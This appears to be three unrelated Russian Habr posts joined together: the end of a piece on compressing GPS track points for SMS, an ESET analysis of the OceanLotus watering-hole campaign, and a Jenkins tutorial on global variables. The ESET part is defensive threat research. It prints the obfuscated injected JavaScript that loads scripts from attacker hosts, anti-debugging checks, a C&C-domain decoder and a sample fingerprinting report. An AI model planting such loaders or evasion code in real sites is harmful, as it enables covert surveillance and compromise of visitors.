Исключим из общего объёма полезных данных размер заголовка: 120 — 12 = 108 байт или
864 бита.
Наивная реализация
------------------
Одна точка трека занимает 194 бита. В одну SMS'ку входит 864 бита данных трека. Кхм, влезет лишь 864 / 194 = 4 точки.
А что если разбить сообщение на 6 сегментов? 1 сегмент = 153 7-битных символа; 6 сегментов = 153 \* 6 = 818 7-битных символа. Полезных данных окажется 818 \* 3 / 4 = 613 байт. Таким образом, под данные трека останется 613 — 12 = 601 байт или 4808 бита. Итого, в жирную SMS'ку можно будет засунуть 4808 / 194 = 24 точки и ещё 19 байт останется.
Кроме очевидного минуса — в сообщение можно поместить очень мало точек, вылезает неудобная логика работы с точкой, занимающей не кратную байту длину.
Оптимизация
-----------
### Время
1. В действительности нам не нужна точность в миллисекунду
2. Приложение не будет отсылать данные за прошедшие десятилетия
3. Приложение вряд ли просуществует в неизменном виде 50 лет
Пусть мы оставим точность до 4 секунд.
Введём свою *эру*:
```
long ERA = 1388534400000L;
```
Относительно стандартной юниксовой (1 января 1970 года UTC). Дата выше соответствует 1 января 2014 года UTC.
С учётом последнего допущения нам достаточно хранить 4 байта для времени:
(60 / 4) \* 60 \* 24 \* 365.25 \* 50 = 394 470 000 < 2^29. Ещё 3 бита в запасе (на флаги).
```
long time= System.currentTimeMillis();
long newTime = (time - ERA) / (1000 * 4);
```
### География
Земля очень близка по форме шару, сплюснутому со стороны полюсов, таким образом длина экватора (40 075 696 метров) чуть больше, чем длина удвоенного меридиана (40 008 552 метров).
Координаты в Location задаются в градусах (± в зависимости З/В и С/Ю).
Всего же в окружности у нас 360 градусов, или 21 600 минут или 1 296 000 секунд. Таким образом, в одном метре экватора или меридиана не менее 0.032 секунды (1 296 000 / 40 075 696 = 0.0323388...). На широте, скажем, 60 градусов в одном метре параллели будет примерно в 2 раза больше секунд (около 0.064 секунды). Что это значит? Ошибка позиционирования в 1 метр на экваторе и на 60-ой параллели отличается в ошибке в градусах Location.getLongitude() в два раза. При этом, чем дальше от экватора, тем ошибка в градусах при фиксированной в метрах выше. И, наоборот: при удалении от экватора при фиксированной ошибке в градусах — в метрах ошибка уменьшается, то есть вблизи экватора округление до 32/1000 секунды даст наибольшую ошибку позиционирования не более одного метра.
Допустим, нас устраивает точность позиционирования в 5 метров (в действительности, точность значений, получаемого от GPS-модуля оказывается в разы хуже). Возьмём границу пониже: пусть по широте и долготе точность позиционирования не менее 3 метров (5 > 3 \* sqrt(2)).
Теперь, мы можем отказаться от координат в double и привести их к неотрицательному целочисленному значению с точностью до 96/1000 секунды:
```
long newLatitude = (latitude + 90) * 60 * 60 * 1000 / 96;
long newLongitude = (longitude + 180) * 60 * 60 * 1000 / 96;
```
Очевидно, что новые значения не превысят 360 \* 60 \* 60 \* 1000 / 96 = 13 500 000 < 2^24, что укладывается в 3 байта, да ещё и бит остался «про запас» от преобразования latitude, так как максимально возможное значение будет меньше в 2 раза и для хранения значения будет достаточно 23 бита.
Результат
---------
Размер точки трека сократился до 4 + 3 + 3 = 10 байт и ещё несколько битов осталось не использованных. В обычную SMS стало входить 864 / 80 = 10 точек. В жирную из 6 сегментов: 4808 / 80 = 60 точек.
### Ещё оптимизации
До этого мы никак не использовали то, что точки принадлежат одному треку, следовательно можно делать предположения о расстоянии между точками и временных промежутках.
Таким образом, абсолютные координаты и время фиксировались только для первой точки, а все последующие точки хранили в себе смещение относительно предыдущей и по координатам, и по времени. Такая оптимизация позволила сократить размер последующих точек ещё на 2 байта до 8 байт, увеличив, в итоге, общее количество точек в одной SMS'ке до 13, а в жирной — до 84.
### Описание формата
HEADER (96) + BODY (variable):
|| Message Type (16) | Authentication Token (64) | Checksum (16) || Data (variable) ||
FIRST TRACKPOINT INFO (80):
|| Start (1) | SOS (1) | Reserved (1) | DateTime (29) | Reserved (1) | Latitude (23) | Longitude (24) ||
NTH TRACKPOINT INFO (64):
|| Offset (16) | Start (1) | SOS (1) | North (1) | Latitude (21) | Reserved (1) | Reserved (1) | East (1) | Longitude (21) ||
В скобках указаны длины полей в битах.
### Пример
HEX-запись бинарного сообщения (30 байт), состоящего из заголовка (12 байт) и двух точек (10 и 8 байт, соответственно):
`00 01 00 11 AA BB CC DD EE FF 00 90 80 00 24 09 54 04 9D 89 87 A0 09 B1 40 00 00 20 92 7C`
Расшифровка:
```
short messageType = 1; // 00 01
long authenticationToken = 4972798176784127L; // 00 11 AA BB CC DD EE FF
short checksum = 144; // 00 90
boolean start = true; // [1]000 0000 00 24 09
boolean sos = false; // 1[0]000 0000 00 24 09
int dateTime = 9225; // 100[0 0000 00 24 09] // 1 января 2014 10:15:00 UTC
int latitude = 5506205; // 0[101 0100 04 9D] // 56.83213333° с. ш. (исходные данные: 56.832139° с. ш.)
int longitude = 9013152; // 89 87 A0 // 60.35072° в. д. (исходные данные: 60.350722° в. д.)
int offset = 2481 // 09 B1 // 1 января 2014 12:45:24 UTC
boolean start2 = false; // [0]100 0000 00 00
boolean sos2 = true; // 0[1]00 0000 00 00
boolean north2 = false; // 01[0]0 0000 00 00
int latitude2 = 0; // 010[0 0000 00 00] // 56.83213333° с. ш.
boolean east2 = true; // 00[1]0 0000 92 7C
int longitude2 = 37500; // 001[0 0000 92 7C] // 61.35072° в. д.
```
**P.S.** Всех с наступающим! Надеюсь, пост окажется кому-нибудь полезным/интересным. | https://habr.com/ru/post/318796/ | null | ru | null |
# OceanLotus: атака watering hole в Юго-Восточной Азии
Специалисты ESET выполнили анализ новой кампании watering hole, которая нацелена на несколько сайтов в Юго-Восточной Азии. Предположительно атакующие действуют с начала сентября 2018 года. Кампания отличается масштабом – нам удалось обнаружить 21 скомпрометированный ресурс, в том числе – сайты Министерства обороны Камбоджи, Министерства иностранных дел и международного сотрудничества Камбоджи, а также нескольких вьетнамских газет и блогов.
По итогам анализа мы установили, что кампанию выполняет группа [OceanLotus](https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf), также известная как [АРТ32](https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html) и АРТ-С-00. Группа действует как минимум [с 2012 года](http://blogs.360.cn/post/oceanlotus-apt.html) и специализируется на кибершпионаже, проявляя особый интерес к правительственным учреждениям и диссидентам.
Похоже, что кампания представляет собой эволюцию watering hole схемы OceanLotus, которую исследователи Volexity [задокументировали](https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/) в 2017 году под названием Framework B. С прошлого года кибергруппа научилась затруднять анализ своих вредоносных фреймворков. В числе прочих доработок мы отметили применение шифрования с открытым ключом для обмена сеансовым ключом AES. Метод используется для шифрования обмена данными, не позволяющего продуктам безопасности перехватить финальную полезную нагрузку. Кроме того, атакующие перешли с НТТР на WebSocket для сокрытия вредоносного обмена данными.
Каждый из скомпрометированных сайтов, обнаруженных специалистами ESET, перенаправлял посетителей на отдельный домен, контролируемый OceanLotus.
На рисунке ниже показаны целевые регионы кампании.
*Рисунок 1. География скомпрометированных сайтов*
Большинство скомпрометированных доменов являются новостными медиа или имеют отношение к правительству Камбоджи. Ниже представлен список жертв. Мы предупредили их о компрометации в октябре, но на конец 2018 года на части сайтов оставались вредоносные скрипты:
— baotgm[.]net — вьетнамское СМИ (штаб-квартира в Арлингтоне, Техас)
— cnrp7[.]org — сайт Партии национального спасения Камбоджи
— conggiaovietnam[.]net — контент религиозного характера на вьетнамском
— daichungvienvinhthanh[.]com — контент религиозного характера на вьетнамском
— danchimviet[.]info — вьетнамское СМИ
— danviet[.]vn — вьетнамское СМИ
— danviethouston[.]com — вьетнамское СМИ
— fvpoc[.]org — вьетнамская общественная организация
— gardencityclub[.]com — сайт гольф-клуба в Пномпене, Камбоджа
— lienketqnhn[.]org — вьетнамское СМИ
— mfaic.gov[.]kh — Министерство иностранных дел и международного сотрудничества Камбоджи
— mod.gov[.]kh — Министерство обороны Камбоджи
— mtgvinh[.]net — контент религиозного характера на вьетнамском
— nguoitieudung.com[.]vn — вьетнамское СМИ
— phnompenhpost[.]com — камбоджийское СМИ на английском
— raovatcalitoday[.]com — сайт на вьетнамском
— thongtinchongphandong[.]com — оппозиционное СМИ на вьетнамском
— tinkhongle[.]com — вьетнамское СМИ
— toithichdoc.blogspot[.]com — вьетнамский блог
— trieudaiviet[.]com — сайт на вьетнамском
— triviet[.]news — вьетнамское СМИ
В атаках watering hole злоумышленники как правило компрометируют сайты, которые часто посещаются потенциальными жертвами. Однако в данной кампании группа OceanLotus скомпрометировала несколько популярных сайтов. Ниже представлен список скомпрометированных площадок и их [Alexa-рейтинг](https://www.alexa.com/siteinfo): глобальный и в стране, где сайт наиболее популярен. Например, сайт газеты Dan Viet (danviet[.]vn) на конец 2018 года находился на 116 строке по посещаемости во Вьетнаме.
— danviet[.]vn — 12 887/116
— phnompenhpost[.]com — 85 910/18 880
— nguoitieudung.com[.]vn — 261 801/2 397
— danchimviet[.]info — 287 852/144 884
— baotgm[.]net — 675 669/119 737
— toithichdoc.blogspot[.]com — 700 470/11532
— mfaic.gov[.]kh — 978 165/2 149
— conggiaovietnam[.]net — 1 040 548/15 368
— thongtinchongphandong[.]com — 1 134 691/21 575
— tinkhongle[.]com — 1 301 722/15 224
— daichungvienvinhthanh[.]com — 1 778 418/23 428
— mod.gov[.]kh — 4 247 649/3 719
### Анализ
Для всех скомпрометированных сайтов применялись похожие методы. Атакующие добавляли небольшой фрагмент JavaScript-кода на главную страницу, либо в файл JavaScript, выложенный на том же сервере. Незначительно обфусцированный фрагмент кода (см. ниже) загружает другой скрипт с сервера, подконтрольного атакующим. Ниже фрагмент JavaScript, добавленный в `https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js`, который загружает файл с `https://weblink.selfip[.]info/images/cdn.js?from=maxcdn`.
```
(function() {
var pt = "http";
var l = document.createElement('script');
l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn';
document.getElementsByTagName('body')[0].appendChild(l)
})('web', 'a', 'link', '.self');
```
Чтобы избежать обнаружения, атакующие приняли следующие меры:
— Они обфусцируют скрипты, чтобы предотвратить выделение статического финального URL
— URL выглядит как настоящая библиотека JavaScript, используемая сайтом
— Для каждого скомпрометированного сайта используется отдельный домен и URI
— У всех скомпрометированных сайтов разные скрипты. Ниже приведен скрипт, внедряемый в один из скомпрометированных сайтов:
```
var script = document.createElement("script");
var i = 'crash-course';
var s = "fzgbc knowsztall znfo";
var _ = '/';
var e = "VisitorIdentification.js?sa=" + i;
script.async = true;
script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e;
var doc = document.getElementsByTagName('script')[0];
doc.parentNode.insertBefore(script, doc);
```
### Первый этап
В зависимости от расположения IP-адреса посетителя сервер первого этапа (например, `weblink.selfip[.]info` для `mfaic.gov[.]kh`), передает ложный скрипт (случайную легитимную библиотеку JavaScript), либо скрипт первого этапа (например, SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A). Не на всех серверах осуществляется проверка расположения, но, если она есть, вредоносный скрипт получают только посетители из Вьетнама и Камбоджи.
Скрипт первого этапа имеет несколько проверок для предотвращения обнаружения, как показано ниже.
```
[…]
function t(n) {
var r = this;
!function (t, n) {
if (!(t instanceof n))
throw new TypeError('Cannot call a class as a function');
}(this, t), this.t = {
o: null,
s: !0
}, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () {
r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1;
});
}
return t.prototype.r = function () {
var t = this;
setInterval(function () {
var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal';
r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e);
}, 500);
}
[…]
```
Скрипт ждет, пока жертва не долистает до страницы. Он проверяет также разрешение окна и включен ли Firebug – браузерный плагин для анализа интернет-страниц. Если хотя бы одна из проверок не прошла, исполнение прекращается.
Затем он расшифровывает домен командного C&C сервера с помощью кастомного алгоритма. Например, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 расшифровывается как `wss://tcog.thruhere[.]net`. Для каждого домена первого этапа атакующие дополнительно зарегистрировали домен второго этапа, и все они размещены на разных серверах. Код ниже – эквивалент функции расшифровки, написанный на Python.
```
def decrypt(encrypted_url):
s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
```
После расшифровки адреса C&C скрипт отправляет уникальную строку из 15 цифр, а затем получает и выполняет скрипт второго этапа. Обмен данными осуществляется посредством WebSocket или SSL. Протокол обеспечивает одновременную двухстороннюю связь между клиентом и сервером. Это означает, что после установки соединения клиентом сервер может отправлять клиенту данные даже без запроса. Однако в конкретном случае протокол применяется преимущественно во избежание обнаружения.
### Второй этап
Скрипт второго этапа предназначен для разведки. Разработчики OceanLotus воспользовались библиотекой fingerprintjs2 от Valve, доступной на [GitHub](https://github.com/Valve/fingerprintjs2/tree/a5ea808a9e1ce1646716332d1660a2c74c765336), с небольшими изменениями – добавив сетевой обмен данными и создание специального отчета.
На рисунке ниже представлены различные действия, выполняемые скриптом. Коммуникации осуществляются посредством сеанса WebSocket, начатого первым этапом.
*Рисунок 2. Схема второго этапа полезной нагрузки*
Обмен данными шифруется с помощью ключа сеанса AES, генерируемого сервером. Он шифруется 1024-битным открытым ключом RSA и отправляется клиенту, поэтому расшифровать обмен данными между клиентом и сервером не представляется возможным.
В сравнении с предыдущими версиями фреймворка watering hole группы ОceanLotus, от этого сложнее защититься, поскольку передачу данных в сети невозможно детектировать и расшифровать. Это предотвращает сетевое обнаружение данных. Открытый ключ, передаваемый сервером, не меняется и приведен в разделе IoC.
Скрипт для разведки создает отчет, похожий на приведенный ниже, и отправляет его на C&C сервер второго этапа.
```
{
"history": {
"client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-",
"client_url": "https://www.mfaic.gov.kh/",
"client_cookie": "",
"client_hash": "",
"client_referrer": "https://www.mfaic.gov.kh/foreign-ngos",
"client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
"client_time": "2018-10-21T12:43:25.254Z",
"timezone": "Asia/Bangkok",
"client_network_ip_list": [
"192.168.x.x",
"x.x.x.x"
],
"client_api": "wss://tcog.thruhere.net/",
"client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7",
"client_uuid": "a612cdb028e1571dcab18e4aa316da26"
},
"navigator": {
"plugins": {
"activex": false,
"cors": true,
"flash": false,
"java": false,
"foxit": true,
"phonegap": false,
"quicktime": false,
"realplayer": false,
"silverlight": false,
"touch": false,
"vbscript": false,
"vlc": false,
"webrtc": true,
"wmp": false
},
"_screen": {
"width": 1920,
"height": 1080,
"availWidth": 1920,
"availHeight": 1080,
"resolution": "1920x1080"
},
"_plugins": [
[...]
```
Этот отчет почти идентичен другому, который генерирует [фреймворк ОceanLotus Framework B](https://www.volexity.com/wp-content/uploads/2017/11/FrameworkB.png), задокументированный специалистами Volexity в 2017 году. Их разделы похожи и содержат идентичные опечатки. Благодаря этому сходству и расположению целей, мы с высокой долей уверенности можем сказать, что кампанию проводит именно OceanLotus.
Генерируемый отчет содержит детальную информацию о браузере жертвы и посещаемом сайте: пользовательский агент, заголовок запроса HTTP Referer, локальный и внешний IP-адрес, плагины и выставленные настройки языка браузера.
Кроме того, у каждой машины есть два уникальных идентификатора: *client\_zuuid* и *client\_uuid*. Возможно, они используются для идентификации пользователей и отслеживания их посещений. Эти идентификаторы, на самом деле, присутствовали в версии фреймворка 2017 года, и *client\_uuid* вычислялся похожим образом.
Значение *client\_zuuid* – конкатенация различных значений deviceId, содержащихся в navigator.mediaDevices.enumerateDevices. Устройства – внешние устройства, к которым имеет доступ браузер, такие как камеры и микрофоны. Таким образом, значение для одного пользователя должно совпадать во время разных посещений с одного и того же компьютера.
Значение *client\_uuid* – это хэш MD5 цифровых отпечатков, выделяемых fingerprintjs2. Среди собираемых данных – пользовательский агент браузера, язык, часовой пояс, плагины браузера и доступные браузеру шрифты. И опять же – значение должно быть идентичным для всех посещений, только если, например, пользователь не обновит браузер или не зайдет с другого устройства.
Наконец, сервер может отправить дополнительный код JavaScript на компьютер жертвы, возможно, это и есть доставляемый компонент. К сожалению, по причине использования ключа сеанса AES для расшифровки обмена данными нам не удалось определить, какой же компонент доставляется злоумышленниками в образцах in-the-wild. Кроме того, полезная нагрузка доставляется только определенным жертвам. Таким образом, используя тестовую машину, нам их заполучить не удалось. Однако, согласно предыдущим отчетам, watering hole кампании группы OceanLotus нацелены на фишинг. Например, Volexity в отчете [писали](https://www.volexity.com/wp-content/uploads/2017/11/OL-GoogleApp-768x992.png), что пользователи видели всплывающее окно с просьбой авторизовать доступ через открытый протокол OAuth к учетной записи Google жертвы для OceanLotus Google App. С помощью такого приема атакующие могут получить к контактам и электронным письмам жертвы.
### Сетевая инфраструктура
Для максимально скрытной работы операторы OceanLotus зарегистрировали по одному домену для первого и второго этапа для каждого из скомпрометированных сайтов. Каждый домен размещен на отдельном сервере со своими IP-адресом. Для данной кампании зарегистрировано по меньшей мере 50 доменов и 50 серверов.
Большинство доменов первого этапа зарегистрировано на сервисах с бесплатными доменными именами, домены второго этапа – преимущественно на платных. Помимо всего прочего, их имена маскируются под легитимные. Ниже приведен список сервисов, которые пытались копировать атакующие — C&C и легитимный домен соответственно:
— cdn-ampproject[.]com / cdn.ampproject.com
— bootstraplink [.]com / getbootstrap.com
— sskimresources[.]com / s.skimresources.com
— widgets-wp[.]com / widgets.wp.com
Количество используемых доменов и их сходство с легитимными сайтами, возможно, усложняет обнаружение человеком, просматривающим сетевой трафик.
### Вывод
Несмотря на внимание со стороны исследователей безопасности, OceanLotus продолжает успешно атаковать цели в Юго-Восточной Азии. Кроме того, группа совершенствует инструментарий, включив в арсенал фреймворк для watering hole атак, малварь для Windows и macOS. Недавние обновления фреймворка, рассмотренные в этом отчете, свидетельствуют о том, что атакующие повысили свою квалификацию.
Чтобы ограничить число возможных жертв, мы уведомили владельцев скомпрометированных сайтов и объяснили, как убрать вредоносный код JavaScript. Впрочем, некоторые из них не проявили готовности к принятию информации и помощи.
Исследователи ESET продолжат наблюдать за развитием группы OceanLotus. Индикаторы компрометации можно найти на [GitHub](https://github.com/eset/malware-ioc/tree/master/OceanLotus). | https://habr.com/ru/post/436136/ | null | ru | null |
# Простой способ редактирования, хранения и передачи параметров между job'ами Jenkins
Как и любой здоровый человек — могу назвать себя в меру ленивым.
Так, например, мне лень писать длинный pipeline (вообще писать руками pipeline лень). И мне не нравится идея гонять туда — сюда файлик, в который придётся писать параметры, для чего городить огород из лишнего кода.
Кстати, может кто-то из читателей этой статьи сможет объяснить, почему нужно выполнять все операции (сборка дистрибутива, его тестирование и т. д.) на той же машине, где расположен Jenkins? Я вот так не считаю и моя архитектура построена так, что Jenkins нужен для запуска задач, а вот они (задачи) выполняются на отведённых под эти вещи машинах. Но это лирика и желание пообщаться и поделиться опытом.
Сама статья о другом: как сохранить параметры и параметризовать регулярную Job'у удобно и штатно?
Давайте представим гипотетическую ситуацию, когда вам нужно сделать регулярный запуск некоторого набора тестов по расписанию.
Вы уже сделали некоторою Job'у, с использованием [плагина Active Choices](https://plugins.jenkins.io/uno-choice/) и теперь вы молодцы и можете запускать руками нужный набор.
Но как теперь объединить обе этих функции, чтобы получить выгоду от обоих подходов?
Не буду рассказывать всех тех вариантов, которые мне пришлось услышать или попробовать, а сразу перейду к самой сути. Решение моё лишь частично, так как реализация была найдена на [Medium](https://medium.com/@mukeshsingal/access-jenkins-global-environment-variables-using-groovy-or-java-b5c1e6b53685). Я же решил поделиться им с сообществом, чтобы больше людей перестали костылить и делать глупости.
Целевая картина в нашем случае будет выглядеть так: есть Job'а для управления набором сценариев, которая используется, когда этот самый набор нужно отредактировать, и есть регулярная Job'а, которая будет использовать и регулярно запускать нужный набор.
Первое, что нужно сделать — это создать пару переменных: одна для хранения «эталонного набора» и вторая для непосредственного хранения целевого набора. Для этого переходим по меню Jenkins «Настроить Jenkins — > Конфигурация системы — > Глобальные настройки»:
Создатели Jenkins позаботились о своих пользователях и нам только остаётся добавить две переменные, как показано на изображении выше.
Когда переменные созданы, нужно установить [плагин Active Choices](https://plugins.jenkins.io/uno-choice/), если ещё не установлен. Он нам ещё пригодится.
Создадим задачу со свободной конфигурацией. Укажем, что сборка параметризованная, установив checkbox «Это — параметризованная сборка». И добавим параметр типа «Active Choices Reactive Parameter».
Назовём этот параметр «first\_param», для примера.
Добавим следующий код, как показано на изображении выше:
```
import jenkins.model.*
//получаем конкретный instance
instance = Jenkins.get()
//получаем доступ к глобальным переменным
globalNodeProperties = instance.getGlobalNodeProperties()
myParam = 'Not Set'
globalNodeProperties.each {
envVars = it.getEnvVars()
if (envVars.get('my_env') != null) {
myParam = envVars.get('my_env');
}
}
def scriptList = [];
def a = myParam.trim().replaceAll(~/^\[|\]$/, '').split(',').collect{ it.trim()}
scriptList.addAll(a)
return scriptList.flatten()
```
На выходе код отдаёт одномерный массив.
Я предпочитаю заполнять блок fallback, как показано ниже:
**«Choice Type»** предлагаю выбрать самостоятельно. В моём случае это **«Checkboxes»**. **" Referenced parameters"** оставляем пустым.
Теперь нужно создать ещё один параметр. В моём примере это second\_param.
В секцию **«Groovy script»** добавим следующее:
```
//импорт библиотек для работы
import hudson.EnvVars;
import hudson.slaves.EnvironmentVariablesNodeProperty;
import hudson.slaves.NodeProperty;
import hudson.slaves.NodePropertyDescriptor;
import hudson.util.DescribableList;
import jenkins.model.Jenkins;
//функция для создания или обновления переменных
public createGlobalEnvironmentVariables(String key, String value){
Jenkins instance = Jenkins.getInstance();
DescribableList, NodePropertyDescriptor> globalNodeProperties = instance.getGlobalNodeProperties();
List envVarsNodePropertyList = globalNodeProperties.getAll(EnvironmentVariablesNodeProperty.class);
EnvironmentVariablesNodeProperty newEnvVarsNodeProperty = null;
EnvVars envVars = null;
if ( envVarsNodePropertyList == null || envVarsNodePropertyList.size() == 0 ) {
newEnvVarsNodeProperty = new hudson.slaves.EnvironmentVariablesNodeProperty();
globalNodeProperties.add(newEnvVarsNodeProperty);
envVars = newEnvVarsNodeProperty.getEnvVars();
} else {
envVars = envVarsNodePropertyList.get(0).getEnvVars();
}
envVars.put(key, value)
instance.save()
}
//конвертирование массива в строку
List list = Arrays.asList(second\_param);
String stringRepresentationOfList = String.join(",", list);
//следующая строка создаёт или обновляет глобальную переменную 'Var1'
createGlobalEnvironmentVariables('Var1',stringRepresentationOfList)
```
В блок **«Groovy Script»** добавляем код:
```
return['error']
```
или что-то более читаемое.
**«Choice Type»** ставим любой, поскольку эта переменная нам фактически нужна только для выполнения Groovy кода для записи глобальной перемернной. Наверняка можно обойтись и без неё, но так было проще и быстрее.
В **«Referenced parameters»** записываем название предыдущей переменной **second\_param**, чтобы связать два блока.
Жмём сохранить — et voilà!
Для проверки давайте посмотрим, какие исходные значения глобальных переменный у нас сейчас записаны, для чего проходим «Настроить Jenkins — > Конфигурация системы — > Глобальные настройки»:
Теперь возвращаемся к нашей Job'е и нажимаем «Собрать с параметрами». Выбираем, для примера, только один пункт:
Жмём «Собрать» и снова проверяем глобальные переменные:
Как видим, всё работает.
Использование же глобальной переменной до крайности простое. И в своей регулярной Job'е вы можете обратиться к ней, как обычно:
Из нюансов, вынужден отметить, что нажимать кнопку «Собрать» вовсе необязательно, так как перезапись глобальной переменной происходит всякий раз, когда вы выбираете один из пунктов. Но совершенству нет предела и вы можете усовершенствовать моё решение. | https://habr.com/ru/post/506642/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.